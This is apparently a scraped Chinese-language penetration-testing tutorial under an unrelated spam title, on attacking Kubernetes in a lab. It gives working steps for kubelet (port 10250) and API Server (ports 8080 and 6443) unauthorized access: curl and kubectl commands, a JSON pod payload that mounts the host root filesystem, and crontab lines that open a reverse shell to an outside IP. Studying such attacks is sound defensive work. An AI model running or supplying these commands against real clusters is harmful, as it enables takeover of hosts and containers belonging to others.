如何做学校的网站设计,html做网站自适应宽度,网站的源码,百度商桥接入网站知识点#xff1a;
1、云原生-K8s安全-名词架构各攻击点
2、云原生-K8s安全-Kubelet未授权访问
3、云原生-K8s安全-API Server未授权访问 K8S集群
Kubernetes是一个开源的#xff0c;用于编排云平台中多个主机上的容器化的应用#xff0c;目标是让部署容器化的应用…知识点
1、云原生-K8s安全-名词架构各攻击点
2、云原生-K8s安全-Kubelet未授权访问
3、云原生-K8s安全-API Server未授权访问 K8S集群
Kubernetes是一个开源的用于编排云平台中多个主机上的容器化的应用目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署规划更新维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着管理员可以加载一个微型服务让规划器来找到合适的位置同时Kubernetes在系统提升工具以及人性化方面让用户能够方便的部署自己的应用。 Master节点控制端、Node节点主机、Pod容器 具体参考https://blog.csdn.net/qq_34101364/article/details/122506768 K8S集群攻击点 随着越来越多企业开始上云的步伐在攻防演练中常常碰到云相关的场景例公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破-提权-权限维持-信息收集-横向移动-循环收集信息」直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局也打开了新的入侵路径例如 通过虚拟机攻击云管理平台利用管理平台控制所有机器
通过容器进行逃逸从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
利用KVM-QEMU/执行逃逸获取宿主机进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多仅有一些厂商发布过相关矩阵技术但没有过多的细节展示本文基于微软发布的Kubernetes威胁矩阵进行扩展介绍相关的具体攻击方法。 详细攻击点参考 https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ 扫目标端口来判断 本地搭建环境测试搭建环境使用3台Centos 7参考文章 https://www.jianshu.com/p/25c01cae990c https://blog.csdn.net/fly910905/article/details/120887686 一个集群包含三个节点其中包括一个控制节点和两个工作节点 K8s-master 192.168.139.130 K8s-node1 192.168.139.131 K8s-node2 192.168.139.132 云原生-K8s安全-Kubelet(node)未授权访问
攻击10250端口kubelet未授权访问 修改配置文件
192.168.230.132配置如下 /var/lib/kubelet/config.yaml 修改authentication的anonymous为true, 将authorization mode修改为AlwaysAllow, 重启kubelet进程- systemctl restart kubelet 再次访问 1、访问获取三个参数值
https://192.168.16.142:10250/runningpods/ 2、执行容器命令
curl -XPOST -k https://192.168.16.142:10250/run/default/nginx-6db489d4b7-t8rqt/nginx -d cmdid 执行的命令是test03容器里的命令需要进行容器逃逸
云原生-K8s安全-API Server未授权访问
API Server(Master)未授权访问
攻击8080端口 旧版本的k8s的API Server默认会开启两个端口8080和6443。
6443是安全端口安全端口使用TLS加密但是8080端口无需认证
仅用于测试。6443端口需要认证且有 TLS 保护。k8s1.16.0为旧版本
新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/
- --insecure-port8080
- --insecure-bind-address0.0.0.0 访问http://192.168.16.137:8080/ kubectl官方工具下载地址安装工具 | Kubernetes
一、获取所有主机(nodes)节点 kubectl.exe -s 192.168.16.143:8080 get nodes 二、获取所有容器(pods)节点 kubectl.exe -s 192.168.16.143:8080 get pods 三、创建新的docker容器 kubectl -s 192.168.16.143:8080 create -f test.yaml kubectl apply -f pod.yaml --namespacetest //创建一个pod文件相当于新建一个名为xiaodi的docker容器 kubectl.exe -s 192.168.16.143:8080 get pods 四、进入到创建的docker容器 kubectl -s 192.168.16.143:8080 --namespacedefault exec -it xiaodi bash kubectl -s 192.168.16.143:8080 exec -it xiaodi /bin/bash 进不去 kubectl exec -it xiaodi /bin/bash //docker进入到xiaodi容器的命令
五、容器逃逸获取宿主机shell echo -e * * * * * root bash -i /dev/tcp/111.230.109.74/4444 01\n /mnt/etc/crontab 把反弹shell命令写进宿主机的计划任务里那么反弹的shell就是宿主机的shell了
其中一个节点写入 反弹成功了 是宿主机 API Server(Master)未授权访问
攻击6443端口
一些集群由于鉴权配置不当将system:anonymous用户绑定到cluster-admin用户组从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。 kubectl create clusterrolebinding system:anonymous --clusterrolecluster-admin --usersystem:anonymous 访问 一、创建恶意pods容器 https://192.168.16.143:6443/api/v1/namespaces/default/pods/ POST{apiVersion:v1,kind:Pod,metadata:{annotations:{kubectl.kubernetes.io/last-applied-configuration:{\apiVersion\:\v1\,\kind\:\Pod\,\metadata\:{\annotations\:{},\name\:\test03\,\namespace\:\default\},\spec\:{\containers\:[{\image\:\nginx:1.14.2\,\name\:\test03\,\volumeMounts\:[{\mountPath\:\/host\,\name\:\host\}]}],\volumes\:[{\hostPath\:{\path\:\/\,\type\:\Directory\},\name\:\host\}]}}\n},name:test03,namespace:default},spec:{containers:[{image:nginx:1.14.2,name:test03,volumeMounts:[{mountPath:/host,name:host}]}],volumes:[{hostPath:{path:/,type:Directory},name:host}]}} 二、连接查看pods kubectl --insecure-skip-tls-verify -s https://192.168.16.143:6443 get pods 三、进入到test03容器里并反弹宿主机的shell kubectl --insecure-skip-tls-verify -s https://192.168.16.143:6443 --namespacedefault exec -it test03 bin/bash //失败 kubectl exec -it test03 /bin/bash echo -e * * * * * root bash -i /dev/tcp/111.230.109.74/4455 01\n /host/etc/crontab 把反弹shell命令写进宿主机的计划任务里那么反弹的shell就是宿主机的shell了 反弹成功了
